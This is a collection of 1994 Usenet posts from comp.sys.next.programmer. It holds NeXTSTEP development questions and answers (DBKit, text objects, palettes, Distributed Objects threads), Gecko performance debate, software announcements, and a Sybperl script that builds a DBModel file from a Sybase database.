Newsgroups: comp.sys.next.programmer From: cedman@princeton.edu (Carl Edman) Subject: Re: Gecko vs NeXTstation color: compiling Draw.app In-Reply-To: swiet@syzygy.cs.jhu.edu's message of 22 Apr 1994 20:10:47 GMT To: swiet@syzygy.cs.jhu.edu (Alexander Swietlicki) Message-ID: <CEDMAN.94Apr22230009@capitalist.princeton.edu> Originator: news@nimaster Sender: news@Princeton.EDU (USENET News System) Organization: Princeton University References: <2p15cp$5dl@neptune.inf.ethz.ch> <2p1buv$lm7@bones.et.byu.edu> <CEDMAN.94Apr19231833@capitalist.princeton.edu> <SWIET.94Apr22161047@syzygy.cs.jhu.edu> Date: Sat, 23 Apr 1994 03:00:09 GMT Warning. The following article has been determined to contain intense nostalgia. Children under 17 not admitted. In article <SWIET.94Apr22161047@syzygy.cs.jhu.edu> swiet@syzygy.cs.jhu.edu (Alexander Swietlicki) writes: In article <CEDMAN.94Apr19231833@capitalist.princeton.edu> cedman@princeton.edu (Carl Edman) writes: I don't know... my rule of thumb has been to buy a new computer when I can get at least 3x-4x the real world performance for a comparable price. 5 minutes vs. 8 minutes is not worth upgrading. 3-4x? That's it? I went from an Apple ][+ to a NeXTstation. That means the next computer I get will have to be.... :-) Well, I went from an HP 41 (which my mother got as a present from HP when it was released) to a ZX 80 (upgrading to a ZX 81 doesn't really count) to a Commodore 64 to an Amiga 1000 (one of the first in central Europe) to a NeXTstation to (soon) a 90 or 100 MHz Pentium, so I guess the rule by and large holds for me. But then I started programming when I was eight or nine years old and not even the computer industry would have managed to ramp up the speed at rate faster than 300% or 400%/generation for such a long time. Carl Edman PS: Yes, I guess I _did_ date myself there. :-)
Newsgroups: comp.sys.next.programmer From: cmaeda@cs.washington.edu (Chris Maeda) Subject: HeaderViewer, etc Message-ID: <1994Apr23.060216.24735@beaver.cs.washington.edu> Sender: news@beaver.cs.washington.edu (USENET News System) Organization: Computer Science & Engineering Dept., Univ. of Washington, Seattle Date: Sat, 23 Apr 94 06:02:16 GMT I'm in the process of writing documentation for a class library. What are the best tools for generating rtf documentation from source code? Are there tools that will read a .h file for a class and spit out an rtf file that documents the class? What class browsers, etc are people using? And what do you have to do to your code to be compatible with these tools? I've seen header viewer but I can't figure out where it finds the Intro*.rtf files. Does anyone know? I'm also interested in any other ideas you might have in this area. Thanks very much, Chris Maeda (cmaeda@cs.washington.edu)
From: eps@futon.SFSU.EDU (Eric P. Scott) Newsgroups: comp.sys.next.programmer Subject: class-dump 1.3.1 (fat) available Date: 23 Apr 1994 07:22:09 GMT Organization: San Francisco State University Message-ID: <2paib1$jhj@nic-nac.CSU.net> For the person who accosted me at Thursday's BANG meeting [you know who you are] there's now a fat (m68k+i486) version of class-dump available by anonymous FTP from sutro.sfsu.edu [130.212.15.230] as pub/class-dump1.3.1.tar.Z size 30568 BSD sum 15111 md5 655233b895cb0ed65dcbc379742693fd This contains executables for NS 2.1, 3.0, and 3.2. The 2.1 and 3.0 versions are m68k only. There are no functional changes from the previous release, so the man page hasn't been updated. Everything else is in the README. -=EPS=-
Newsgroups: comp.sys.next.programmer From: blanford@gemstone.com (Ron Blanford) Subject: Re: DBKit ,takeValueFrom, and disappearing cursor Message-ID: <1994Apr23.072447.19022@venice.sedd.trw.com> Originator: blanford@arkenstone Sender: news@venice.sedd.trw.com (USENET News) Organization: TRW Systems Engineering & Development Division, Carson, CA References: <2p8elf$2dp@solaris.cc.vt.edu> Date: Sat, 23 Apr 1994 07:24:47 GMT In article <2p8elf$2dp@solaris.cc.vt.edu> rcw@caspian.cc.vt.edu (R. Craig Woods) writes: > I am developing an app to query/update a database. > There is a non-editable DBTableView along with several > Text Fields that allow the user to view/change > data. The fields are connected so that the user can tab > or shift-tab through them. Each of the Text Fields > sends the takeValueFrom message to the DBModule. > > The app actually works fine, with one small problem. If > I press the Return key while in a Text Field, the cursor > disappears. (I can move the mouse to a field and click > and the cursor will then reappear.) Values are correctly > updated in the database from the field(s) where Return > was pressed. > > My questions are: what is happening to the cursor, and > how do I keep it from disappearing. (I'd like it to > remain in the field.) > This is normal appkit functionality, not a dbkit problem. Return ends editing on the current field and sends the action message to the target, but does not automatically proceed to the next field as Tab does. You can make this happen easily enough by ending your action method with an explicit instruction. - action:sender { // Normal actions [[sender nextText] selectText:sender]; return self; } -- Ron
Newsgroups: comp.sys.next.programmer From: blanford@gemstone.com (Ron Blanford) Subject: Re: DBKit fetch bottleneck Message-ID: <1994Apr23.075747.19903@venice.sedd.trw.com> Originator: blanford@arkenstone Sender: news@venice.sedd.trw.com (USENET News) Organization: TRW Systems Engineering & Development Division, Carson, CA References: <2p79v8$e03@netnews.upenn.edu> Date: Sat, 23 Apr 1994 07:57:47 GMT In article <2p79v8$e03@netnews.upenn.edu> joe@retina.anatomy.upenn.edu writes: > Is this fetch slow because the target table has 8000 rows (even though > I only tried to retrieve 200 of them) or is it slow because it involves > a join? > Is there anything I can do to speed up this fetch? It's central to the > functioning of this App. Thanks for any information you can offer. > Use an equijoin for the relationship if at all possible. Outer joins are much slower. One consequence of an equijoin would be that orders without customers will no longer appear in the table. If this is unacceptable you may still be able to finesse it by adding a dummy customer attached to all such orders. If you are using the Oracle adaptor it forces all joins to be outer joins by default. There is a dwrite you can provide to make it use all equijoins, but I don't have the specific keyword and value at hand just now. There is no provision for mixed usage of outer joins and equijoins. Alternatively you can examine the SQL in db:willEvaluateString:usingBinder: and remove the (+) indicator for an outer join by blasting spaces in its place. -- Ron
Newsgroups: comp.sys.next.programmer From: blanford@gemstone.com (Ron Blanford) Subject: Re: FetchGroup created Expressions Message-ID: <1994Apr23.080556.20038@venice.sedd.trw.com> Originator: blanford@arkenstone Sender: news@venice.sedd.trw.com (USENET News) Organization: TRW Systems Engineering & Development Division, Carson, CA References: <1994Apr22.220743.6016@nugget.rmNUG.ORG> Date: Sat, 23 Apr 1994 08:05:56 GMT In article <1994Apr22.220743.6016@nugget.rmNUG.ORG> chuston@nugget.rmNUG.ORG (Chris Huston) writes: > I've got a nib with a table view that contains data from a to-one relationship > > The table view was set-up using IB - so an expression was built automagically > by the DBModule/Fetchgroup.... > > Now I want to retrieve the value for the expression representing the foreign > data. > > The problem is in finding the DBExpression for use in getValue:forProperty:. > I pointed an outlet to the DBTableVector and then sent associationForObject > to the DBModule - which returns 0 - even though the IB inspector panel shows > "ToSponsor.name DBTableVector". > > I can find the Expression by comparing property names - but that seams very > inelegant. > > What am I munging? > > Thanks, > -Chris The DBTableVector's identifier is the DBExpression you want. -- Ron
Newsgroups: comp.sys.next.programmer From: mrothste@galaxy.csc.calpoly.edu (Mont Egan Rothstein) Subject: Oracle and DBKit Message-ID: <1994Apr23.104038.18432@rat.csc.calpoly.edu> Date: Sat, 23 Apr 94 10:40:38 GMT Organization: Computer Science Department, Cal Poly SLO Hello- The company I work for has just started a large project using DBKit and Oracle 7.0. I was wondering if anyone with DBKit & Oracle experience would be willing to answer a couple of questions. The questions are things like: We are running Oracle 7.0 on a Novell server, so you see any major problems with this? What is the best way to get sorted data from multiple tables (takeing into account both good programming and speed)? And a couple other similar questions. Thanks for the help, -Mont
Newsgroups: comp.sys.next.programmer From: optadm7@watserv1.uwaterloo.ca (J.Cassidy - Optometry) Subject: Text object tab settings Message-ID: <Coppxw.M6K@watserv1.uwaterloo.ca> Sender: news@watserv1.uwaterloo.ca Organization: University of Waterloo Distribution: na Date: Sat, 23 Apr 1994 12:41:55 GMT I'm having difficulty locating any documentation on clearing/setting the tab positions in a text object that I use to display the computed results from an application I am writting. If someone would point me to an example or send a snippit of sample code, I would appreciate it. Thanks! Jim.
Newsgroups: comp.sys.next.programmer From: dave@prim.demon.co.uk (Dave Griffiths) Subject: Re: Gecko vs NeXTstation color: compiling Draw.app Message-ID: <1994Apr23.081007.764@prim.demon.co.uk> Organization: Primitive Software Ltd. References: <1994Apr20.064652.9919@fokus.gmd.de> <2p6qg8$13n@marsu.tynet.sub.org> Date: Sat, 23 Apr 1994 08:10:07 GMT In article <2p6qg8$13n@marsu.tynet.sub.org> mow@marsu.tynet.sub.org writes: > >BTW: A friend of mine already has a 712/60. He compiled Taylor uucp 1.04 >in about 7 min, my DX2/66 took about 7.5 min. So I think compilation time >isn't the right thing to compare performance. It's what a lot of us spend our time doing though. No point in it running specially designed benchmarks really fast. Dave Griffiths
From: flexus!rfschtkt@maze.ruca.ua.ac.be (Raf Schietekat) Newsgroups: comp.sys.next.programmer Subject: Re: rtf to ascii Date: 23 Apr 1994 14:47:36 -0500 Organization: UTexas Mail-to-News Gateway Sender: daemon@cs.utexas.edu Message-ID: <9404231700.AA12622@flexus> LS, Here's something you might want to consider... Raf Schietekat, RfSchtkt@maze.ruca.ua.ac.be, Flanders, Belgium (real, i.e., with triangle in the Deliver button) NeXTmail preferred Addressing limitations: no !, % or .uucp (? I should test this again) /usr/bin/rtf-ascii KBNS.11.3.014_o3.1_3.2o The name of this program is a misnomer, and it has some deficiencies/bugs Description: This program, as so often in NEXTSTEP, mistakes the NEXTSTEP Encoding Vector for ASCII; this program does not convert characters to ASCII (it forgets to use the NXToAscii() function for that). Furthermore, it has some bugs that make it impossible to use it with cc: it leaves a C string terminator at the end of the output file (\0), and (in o3.1c) any help buttons are not properly cleaned away (a guillemotleft or something is left behind). How to verify: Just copy this to an RTF file, save, and pipe through rtf-ascii: ``<deleted for the purpose of sending this to comp.sys.next.programmer>'' Urgency: This program is rather useless as it is now. Confirmed: Raf_Schietekat (o3.1_3.2o) Workaround: Dig some proper code out of /NextDeveloper/Source/GNU< (the cc source). Well, I haven't done that myself, and I don't know its quality and behaviour. Cure (for NeXT): Use the same code as for the compiler.
Newsgroups: comp.sys.next.programmer From: peter@corsica (Peter Eisch) Subject: Re: DO and multi-threaded daemon Message-ID: <CoqHL7.6C0@news.cis.umn.edu> Sender: news@news.cis.umn.edu (Usenet News Administration) Organization: University of Minnesota Hospital and Clinic, Laboratory Information Services References: <CoBty6.2D2@news.cis.umn.edu> <CoGH32.7M@news.cis.umn.edu> Date: Sat, 23 Apr 1994 22:41:50 GMT ( Golly, my own thread to follow up on...) Peter Eisch (peter@corsica) wrote: <Stuff about what to do with the thread created by -runInNewThread when that object should no longer be available.> Well, the problem was that DO provides a slick way to create a DO server in another thread, but it doesn't provide an API to clean up the mess that -runInNewThread creates. After messing with it for a while, I've determined that it isn't such a mess and I would still like a cleaner API. To fix the problem in my program, my virtal root class implementation's free method no looks like: - free { NXZone *zonep = NXZoneFromPtr(self); [self unvend]; [super free]; if ((zonep != NX_NOZONE) && (zonep != NXDefaultMallocZone())) NXDestroyZone(zonep); cthread_exit(0); return nil; } What I would REALLY like is something in NXConnection like: - (oneway void)stop { /* unregister the root */ /* clean up the MACH ports */ if (runningInThread) { cthread_exit(0); } else if (runningFromAppkit) { /* do whatever here */ } else { /* just -run'ing */ running = NO; /* where running would be an instance variable */ /* that is the flag in -run's msg_rec loop like */ /* while (running) { ... */ } } peter PS. thanx for the sounding board... -- Always looking for a handy place to nap... peter@tahiti.umhc.umn.edu (Peter Eisch) peisch@cfa.org
Newsgroups: comp.sys.next.programmer From: rexfelis@rws19.xpr.cs.wwu.edu (Leif Harrison) Subject: Urgent! Need pascal compiler (public domain) for NeXTSTEP 3.2 Message-ID: <1994Apr23.225351.25449@henson.cc.wwu.edu> Keywords: compiler pascal NeXTSTEP Sender: news@henson.cc.wwu.edu (USENET-WWU) Organization: Western Washington University Date: Sat, 23 Apr 1994 22:53:51 GMT Help! I need to find a public domain Pascal compiler for my NeXT ASAP. This is a Motorola system running NS 3.2. Anyone? Anyone? Please? -- ********************************************************************* * Leif Harrison * CS Major and * The only way * * n9240566@henson.cc.wwu.edu * Snow Leopard * out is up. * * rexfelis@rws19.xpr.cs.wwu.edu * wanna-be * -somebody * *********************************************************************
From: pkron@corona.com (Peter Kron) Organization: Corona Design, Inc., Seattle, WA Distribution: world Date: Sat, 23 Apr 1994 15:59:40 PDT Message-ID: <1994Apr23.225940.296@corona.com> Newsgroups: comp.sys.next.programmer Subject: Convert .wav to .snd? Does anyone know of a program that will convert .wav format to .snd format? Thanks --- NeXTMail:peter.kron@corona.com Corona Design, Inc. P.O. Box 51022 Seattle, WA 98115-1022
From: trestrail@aol.com (Trestrail) Newsgroups: comp.sys.next.programmer Subject: Re: Urgent! Need pascal compiler (public domain) for NeXTSTEP 3.2 Date: 23 Apr 1994 20:29:04 -0400 Organization: America Online, Inc. (1-800-827-6364) Sender: news@search01.news.aol.com Message-ID: <2pcegg$bbr@search01.news.aol.com> References: <1994Apr23.225351.25449@henson.cc.wwu.edu> In article <1994Apr23.225351.25449@henson.cc.wwu.edu>, rexfelis@rws19.xpr.cs.wwu.edu (Leif Harrison) writes: > Help! > I need to find a public domain Pascal compiler for my NeXT >ASAP. This is a Motorola system running NS 3.2. Have you looked at the Gnu p2c compiler ? That would be my first guess. My other guess would be the MOCKA compiler put out by people at the university of Karlsruhe in Germany. Jeff trestrail@aol.com
From: mclean@futon.SFSU.EDU (Emmett Mclean) Newsgroups: comp.sys.next.programmer Subject: Which libraries would be best to subclass from ? Date: 24 Apr 1994 00:53:06 GMT Organization: San Francisco State University Message-ID: <2pcfti$6l7@nic-nac.CSU.net> Hi, I'm am working with 2 other programmers to create a version of Hangman using NeXTSTEP tools. All of us are new to NeXTSTEP and have a copy of Garfinkel & Mahoney. We've looked at the public domain version of Hangman but but we don't want to take that game and put on a NeXTSTEP front end it, rather, we want to subclass off of existing NeXTSTEP libraries to handle things like the positions of the appearances of guessed letters. We are seeking suggestions as to which classes might be well suited for subclassing. Does anyone have suggestions on which subclasses are best to subclass from ? Other suggestions will be helpful. Please do not send your own hangman. Thanks, -e
Newsgroups: comp.sys.next.programmer From: fleminmk@fe808.cc.purdue.edu (Mike Fleming) Subject: Re: Better curses package? Sender: news@mozo.cc.purdue.edu (USENET News) Message-ID: <fleminmk.767150214@fe808.cc.purdue.edu> Date: Sun, 24 Apr 1994 01:16:54 GMT References: ,noid <1994Apr21.131313.1775@earlham.edu> Organization: Purdue Data Network rabahya@earlham.edu writes: >In Article noid > writes: >>I'm looking for a better curses package to run on NS 3.x. Something >>that has the bold/underline/reverse video attributes. E-mail me >>if you know of such a beast. Thanks. >I'm interested in a better curses package too. Please email me your replies. I think what you're looking for is "ncurses." ncurses was originally developed for Linux, although it compiles and works just fine under NeXTstep. I believe there is a binary (although possibly outdated) on ftp.cs.orst.edu. The source is availible on Linux FTP sites. I've used it in the past, and been happy with it. Mike
From: benh@swell.hampshire.edu (Ben Hemberger) Newsgroups: comp.sys.next.programmer Subject: Forms overriding ENTER as button alt Date: 24 Apr 1994 02:34:09 GMT Organization: University of Massachusetts, Amherst Message-ID: <2pclr1$c9t@nic.umass.edu> I have a window set up that has a few data entry forms in it... the window also has a SAVE button whose keyboard alternative is ENTER. My problem is that when ENTER is hit, instead of the window closing and saving the data, the cursor moves to the next form cell. I want the user to be able to enter the data, using the TAB key to move between the form cells(which I have worked out) and then be able to hit return to save the data(and close the window), not move to the next cell. Please email with any suggestions or pointers to help. TIA...Ben NeXT mail accepted ------------------------------------------------------------------------------- Ben Hemberger benh@swell.hampshire.edu ------------------------------------------------------------------------------- "Now I see the secret of the making of the best persons. It is to grow in the open air, and to eat and sleep with the earth." - Walt Whitman
From: pakala@sdl.egr.uh.edu (Rama R. Pakala) Newsgroups: comp.sys.next.programmer Subject: Re: ThumbWheel Palette Date: 24 Apr 1994 05:19:16 GMT Organization: University of Houston Message-ID: <2pcvgk$c8e@masala.cc.uh.edu> References: <2pa6na$6ah@news.delphi.com> In article <2pa6na$6ah@news.delphi.com> d_chan@news.delphi.com (D_CHAN@DELPHI.COM) writes: # I'm trying to use the ThumbWheel palette I downloaded from ftp.next.com but # I seem to be having some trouble. After installing the palette and putting # it in my application the app compiles with no errors or warnings but # when run the icon starts up then disappears. The following messages are # generated on the console: # # Apr 10 10:54:02 roadrunner Count[703]: objc: class `ThumbWheel' not linked # into application Apr 10 10:54:02 roadrunner Count[703]: An uncaught # exception was raised Apr 10 10:54:02 roadrunner Count[703]: Typed streams # library error: class error # for 'ThumbWheel': class not loaded # # Any help would be greatly appreciated. Thanks. # # -Derek I think you may want to include the ThumbWheel.m/h files in your project. -- Rama Rao Pakala, Systems Design Laboratory, W224-D3, College of Engineering, University of Houston ******************************************* Go Houston Rockets, Go Houston Astros, Go Houston Aeros, Go Houston Cougars. Go Minnesota Vikings!! *******************************************
From: sjirman@ee.duke.edu (Stan Jirman) Newsgroups: comp.sys.next.programmer Subject: Browsers, Cells, and Fonts Date: 24 Apr 1994 05:44:11 GMT Organization: Duke University; Durham, N.C., USA Message-ID: <2pd0vb$nb@news.duke.edu> Hello, I am trying to create a NXBrowser that has cells with another font (font size) than the default system font. When I do the usual browser fill thing, plus a [cell setFont:font], the cell gets the font, but it is not resized correctly. Either it's too big or too small. I could subclass the cell, then ask "my" font for its size (from the font metrics as the point size is irrelevant), return it in calcCellSize, but the result obtained is still not accurate enough... What am I missing? Somebody a working example? Thanks, Stan -- ---------------------------------------------------------------------- "640K ought to be enough for anybody." -- Bill Gates '81 Stan Jirman Duke University Engineering NeXTmail welcome sjirman@ee.duke.edu ----------------------------------------------------------------------
From: chris@stokeisland.ohi.com (Christopher J. Traynor) Newsgroups: comp.sys.next.programmer Subject: Re: Gecko chatter Date: 24 Apr 1994 01:27:10 -0500 Organization: UTexas Mail-to-News Gateway Sender: daemon@cs.utexas.edu Message-ID: <9404240608.AA01317@stokeisland.ohi.com> All: There's been quite a bit of waffling about the Gecko performance. It seems that nobody has bothered to do something rational like run the Byte Benchmarks and NXBench and publish both results to the net. Could we rise to a higher level than speculation on the relevance of compiler runs to machine efficiency?! It would seem that if some of you can crank up a compiler you would have had enough experience to speak from a factual standpoint. This thread has proved to be as useful as the Alien Lottery posting. I submit to anyone who would like to share the truth with the rest of us to post some REAL stats from a well known test suite like NXBench and the Byte Benchmarks from cs.orst.edu. Thank you. This was not a flame, I'm just getting bored with the crap I've been reading... Cheers, Christopher Traynor
Newsgroups: comp.sys.next.programmer From: yardley@okcforum.osrhe.edu (A C Yardley) Subject: [Q] malloc_freezedry? Message-ID: <CoqIGG.L9I@darkside.osrhe.edu> Sender: news@darkside.osrhe.edu Organization: Okcforum Unix Users Group Date: Sat, 23 Apr 1994 22:57:52 GMT What is 'malloc_freezedry()' (other than, of course, another malloc) and what *exactly* does it do? Also, where can I find the docs on this function? The reason I am asking is that I'm working on some modifications to 'unexNeXT.c', which was written by <btaylor@NeXT.com>, and in his/her program he/she calls 'malloc_freezedry()'. It's embeded in libsys_s.a and libsys_p.a, so I know it has some purpose, but damned if I know what. Thanks in advance. A.C.
Newsgroups: comp.sys.next.programmer From: paul@seer.demon.co.uk (Paul Lynch) Subject: Convert .wav to .snd? Message-ID: <1994Apr24.081248.17249@seer.demon.co.uk> Sender: news@seer.demon.co.uk Organization: P & L Systems References: <1994Apr23.225940.296@corona.com> Date: Sun, 24 Apr 1994 08:12:48 GMT In article <1994Apr23.225940.296@corona.com> pkron@corona.com (Peter Kron) writes: > Does anyone know of a program that will convert .wav format to .snd > format? GISO.app and sox is the obvious way. Paul -- Paul Lynch P & L Systems (NeXTmail) paul@seer.demon.co.uk Tel: (0494)671501 9 Stable Lane, Seer Green, Fax: (0494)680228 Bucks, HP9 2YT, UK
Newsgroups: comp.sys.next.programmer From: paul@seer.demon.co.uk (Paul Lynch) Subject: Re: ThumbWheel Palette Message-ID: <1994Apr24.082729.17321@seer.demon.co.uk> Sender: news@seer.demon.co.uk Organization: P & L Systems References: <2pa6na$6ah@news.delphi.com> Date: Sun, 24 Apr 1994 08:27:29 GMT In article <2pa6na$6ah@news.delphi.com> d_chan@news.delphi.com (D_CHAN@DELPHI.COM) writes: > I'm trying to use the ThumbWheel palette I downloaded from ftp.next.com but > I seem to be having some trouble. After installing the palette and putting > it in my application the app compiles with no errors or warnings but > when run the icon starts up then disappears. The following messages are > generated on the console: > > Apr 10 10:54:02 roadrunner Count[703]: objc: class `ThumbWheel' not linked > into application Apr 10 10:54:02 roadrunner Count[703]: An uncaught > exception was raised Apr 10 10:54:02 roadrunner Count[703]: Typed streams > library error: class error > for 'ThumbWheel': class not loaded Any of the NeXT supplied example palettes have the same requirement: you must include the object code for the class into your app; using the palette alone is not enough. Drop ThumbWheel.o into your project. Paul -- Paul Lynch P & L Systems (NeXTmail) paul@seer.demon.co.uk Tel: (0494)671501 9 Stable Lane, Seer Green, Fax: (0494)680228 Bucks, HP9 2YT, UK
From: tobias@nextix.muc.de (Tobias Hoellrich) Newsgroups: comp.sys.next.programmer Subject: SUBMISSION: Hexi.app Date: 24 Apr 1994 13:24:19 GMT Organization: MUC.DE - Individual Network (IN) Domain Munich Distribution: world Message-ID: <TOBIAS.94Apr24142419@nextix.muc.de> Hi comp.sys.next.programmer! I just uploaded Hexi.app.NI.b.tar.gz to cs.orst.edu and ftp.informatik.uni-muenchen.de. This is a simple, fat (m68k + i386) and working ;-) Hex/Ascii Editor for NextStep. Any comments/change requests to the address below. Regards Tobias -- Tobias Hoellrich, Schiesstaettstr. 26,80339 Muenchen, Tel: +49-89-502 90 88 EMail/NeXTMail: tobias@nextix.muc.de
Newsgroups: comp.sys.next.programmer From: stefan@vkc-bln.de (Stefan Krause) Subject: Automatic DBModel-Generator from SYBASE-Dababases Message-ID: <DSTApr24.150449.8885@vkc-bln.de> Summary: This sybperl-script generates an dbmodela from an existing sybase-datab Keywords: NeXT Database Perl DBKit DBModel SYBASE Organization: Voelcker & Krause Consultants GmbH Date: Sun, 24 Apr 1994 15:04:49 MET The bottom part of this article contains a sybperl-script which builds a complete dbmodela from an existing sybase-database. The dbmodela can be converted into a dbmodel using /NextDeveloper/Apps/DBModeler.app/dbcompiler and is directly working without any further clicking and mangling with the DBModelCrasher. I still use an old version of sybperl. Thus the script only works with the default server named SYBASE. It's one of my first perl-hacks but I think it's still useful. Stefan -------------------- BEGIN buildmodela CUT HERE -------------------- #!/usr/local/bin/sybperl # # buildmodela # # (C) 1994 by Stefan Krause, <stefan@vkc-bln.de> # # This software builds a dbmodela from an existing sybase database. # It requires perl by Larry Wall which can be found on almost all serious # archive sites and the sybperl-usub-extension by Michael Peppler # which can be found on ftp.demon.co.uk:/pub/perl/db. # # For calling syntax just run buildmodela without any arguments. # # The stdout of the program contains a complete dbmodela which can be compiled # into a regular dbmodel using /NextDeveloper/Apps/DBModeler.app/dbcompiler. # This step will be performed automatically if you include the dbmodela in # the other sources section of you project. # If you declare all the primary and foreign keys of the tables in you # database using the respective system procedures (sp_primarykey, # sp_foreignkey) then the resulting dbmodela will contain all relationships # of all entities and all key properties will be marked properly. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. # # Both commercial and non-commercial use of the script is granted. If you # make improvements or additions I'd greatly appreciate to hear about. # $ENV{'SYBASE'} = "/usr/sybase" unless $ENV{'SYBASE'}; $ENV{'DSQUERY'}= "SYBASE" unless $ENV{'DSQUERY'}; $ENV{'PATH'}="$ENV{'PATH'}:$ENV{'SYBASE'}/bin" unless $ENV{'PATH'} =~ /$ENV{'SYBASE'}/; %datatype = ("int", "i", "smallint", "i", "tinyint", "i", "float", "d", "money", "\"*\"", "char", "\"*\"", "varchar", "\"*\"", "sysname", "\"*\"", "binary", "\"*\"", "varbinary", "\"*\"", "bit", "i", "datetime", "\"*\"", "text", "\"*\"", "image", "\"@\""); &mydblogin; select(STDOUT); print("Adaptor = SybaseAdaptor;\n"); print("Login = \"${login}@SYBASE/${database}\";\n"); print(&printEntities); print("\nVersion = 3.1;\n"); &myexit(0);
sub printEntities { undef @entities, @entities1; &sql("select name from sysobjects where type in ('U','V') order by name"); while(($entity) = &dbnextrow($dbproc)) { push(@entities, $entity); } foreach $entity (@entities) { push(@entities1, &printEntity); } return "Entities =\n(" .join(",", @entities1) .");"; }
sub printEntity { &selectKeys; &selectAttributes; return "\n\t(" ."$entity, $entity, \"\", N,\n\t\t(" .join(",", @attributes, @relationships) ."))"; }
sub selectAttributes { undef @attributes; &sql("select c.name, t.name from syscolumns c, systypes t where c.id = object_id('${entity}') and c.usertype *= t.usertype order by c.name"); while(($colname, $coltype) = &dbnextrow($dbproc)) { push(@attributes, &printAttribute); } } sub printAttribute { local($attribute) = "\n\t\t\t("; $datatype{$coltype} || die "unsupported type $coltype.\n"; $attribute .= "$colname, "; $attribute .= "$colname, "; $attribute .= "\"\", N, "; $attribute .= "$datatype{$coltype}, "; $attribute .= "$coltype, "; $attribute .= "\"\", \"\", N, N, "; $attribute .= &isPrimaryKey($colname).", "; $attribute .= "N)"; return $attribute; } sub isPrimaryKey { local($colname) = @_; if($isPrimaryKey{$colname}) { return "Y"; } else { return "N"; } }
sub selectKeys { undef %isPrimaryKey; undef @relationships; undef %counter; &sql("select keytype = v.name, object = object_name(k.id), relobj = isnull(object_name(k.depid), '-- none --'), c.name, /*col_name(k.id, key1),*/ isnull(col_name(k.id, key2), '@'), isnull(col_name(k.id, key3), '@'), isnull(col_name(k.id, key4), '@'), isnull(col_name(k.id, key5), '@'), isnull(col_name(k.id, key6), '@'), isnull(col_name(k.id, key7), '@'), isnull(col_name(k.id, key8), '@'), isnull(col_name(k.depid, depkey1), '@'), isnull(col_name(k.depid, depkey2), '@'), isnull(col_name(k.depid, depkey3), '@'), isnull(col_name(k.depid, depkey4), '@'), isnull(col_name(k.depid, depkey5), '@'), isnull(col_name(k.depid, depkey6), '@'), isnull(col_name(k.depid, depkey7), '@'), isnull(col_name(k.depid, depkey8), '@') from syskeys k, master.dbo.spt_values v, syscolumns c where k.type = v.number and v.type = 'K' and k.id=c.id and key1=c.colid and (k.id = object_id('${entity}') or k.depid = object_id('${entity}')) order by keytype desc, object, relobj"); while(($keytype, $obj, $relobj, @keys) = &dbnextrow($dbproc)) { if($keytype eq "primary") { foreach $k (grep($_ ne "@", @keys[0..7])) { $isPrimaryKey{$k} = 1; } } elsif(($keytype eq "foreign") || ($keytype eq "common")){ if($obj eq $entity) { if($keytype ne "common") { $toOne = "Y"; } else { $toOne = "N"; } $relatedEntity = $relobj; @sourceAttributeList = grep($_ ne "@", @keys[0..7]); @destinationAttributeList = grep($_ ne "@", @keys[8..15]); } else { $toOne = "N"; $relatedEntity = $obj; @sourceAttributeList = grep($_ ne "@", @keys[8..15]); @destinationAttributeList = grep($_ ne "@", @keys[0..7]); } $relationship ="\n\t\t\t("; if($counter{$relatedEntity}++) { $relname = "To$relatedEntity".($counter{$relatedEntity}-1); } else { $relname = "To$relatedEntity"; } $relationship .= "$relname, "; # name $relationship .= "$relname, "; # internalName $relationship .= "\"\", Y, "; $relationship .= "${toOne}, "; # isToOne $relationship .= "N, N, "; $relationship .= "N, "; # isOuterJoin $relationship .= "N, "; # isHidden $relationship .= "N, "; # isLazyJoin $relationship .= "$relatedEntity,"; # relatedEntity $relationship .= "\n\t\t\t\t("; $relationship .= join(", ", @sourceAttributeList); $relationship .= "),"; $relationship .= "\n\t\t\t\t("; $relationship .= join(", ", @destinationAttributeList); $relationship .= "))"; push(@relationships, $relationship); } } }
sub sql { &dbcmd($dbproc, @_); &dbsqlexec($dbproc); &dbresults($dbproc); }
sub mydblogin { local($ok); $_ = shift(@ARGV); if(m:^([^/]*)/([^@]*)@([^/]*)/(.*)$:) { $login = $1; $password = $2; $database = $4; $ok = 1; } elsif(m:^([^@]*)@([^/]*)/(.*)$:) { $login = $1; $password = ""; $database = $3; $ok = 1; } elsif(m:^([^/]*)/(.*)$:) { $login = $1; $password = $2; $database = "master"; $ok = 1; } else { $login = ""; $password = ""; $database = ""; $ok = 0; } if($ok) { $dbproc = &dblogin($login, $password); &dbuse($dbproc, $database); } else { &printusage; exit(1); } }
sub printusage { local($basename) = $0; $basename =~ s#.*/##; print STDERR "usage: $basename login/[password][@SYBASE/database]\n"; }
sub myexit { &dbexit; exit @_; }
-------------------- END buildmodela CUT HERE -------------------- -- Stefan Krause stefan@vkc-bln.de Voelcker & Krause Consultants GmbH Tel +49 30 832 9920 (answ.mach.) Bernadottestr. 66 Fax +49 30 832 9022 14195 Berlin, Germany D2 +49 172 3196391
Newsgroups: comp.sys.next.programmer From: wave@media.mit.edu (Michael B. Johnson) Subject: Re: Gecko chatter Message-ID: <1994Apr24.171911.5840@news.media.mit.edu> Sender: news@news.media.mit.edu (USENET News System) Organization: MIT Media Laboratory References: <9404240608.AA01317@stokeisland.ohi.com> Date: Sun, 24 Apr 1994 17:19:11 GMT In article <9404240608.AA01317@stokeisland.ohi.com> chris@stokeisland.ohi.com writes: >>All: >> There's been quite a bit of waffling about the Gecko performance. It >>seems that nobody has bothered to do something rational like run the Byte >>Benchmarks and NXBench and publish both results to the net. Could we rise to a >>higher level than speculation on the relevance of compiler runs to machine >>efficiency?! It would seem that if some of you can crank up a compiler you >>would have had enough experience to speak from a factual standpoint. This >>thread has proved to be as useful as the Alien Lottery posting. >> I submit to anyone who would like to share the truth with the rest of >>us to post some REAL stats from a well known test suite like NXBench and the >>Byte Benchmarks from cs.orst.edu. >> Umm, could we hold off on reporting stuff until the beta period is over? Heck, could we wait until after the beta period *starts*? People are posting complete speciousness, as far as I can tell, and as far as I know, the beta period for the HP port of NeXTSTEP hasn't even started! jeez... Here's a real number: I have an HP735, and I have prman running on it. It runs about 11 times faster than a NeXTStation Color. That's running under HP-UX, of course, and HP's compilers are traditionally excellent at getting performance out of their machines (that's in my experience running code on the machine). Let's give this thread a rest until the damn product comes out folks, shall we? jeez... -- --> Michael B. Johnson -- wave@media.mit.edu --> MIT Media Lab -- Computer Graphics & Animation Group --> 20 Ames St. E15-023G -- (617) 547-0563 (day office) --> Cambridge, MA 02139 -- (617) 253-0663 (night office)
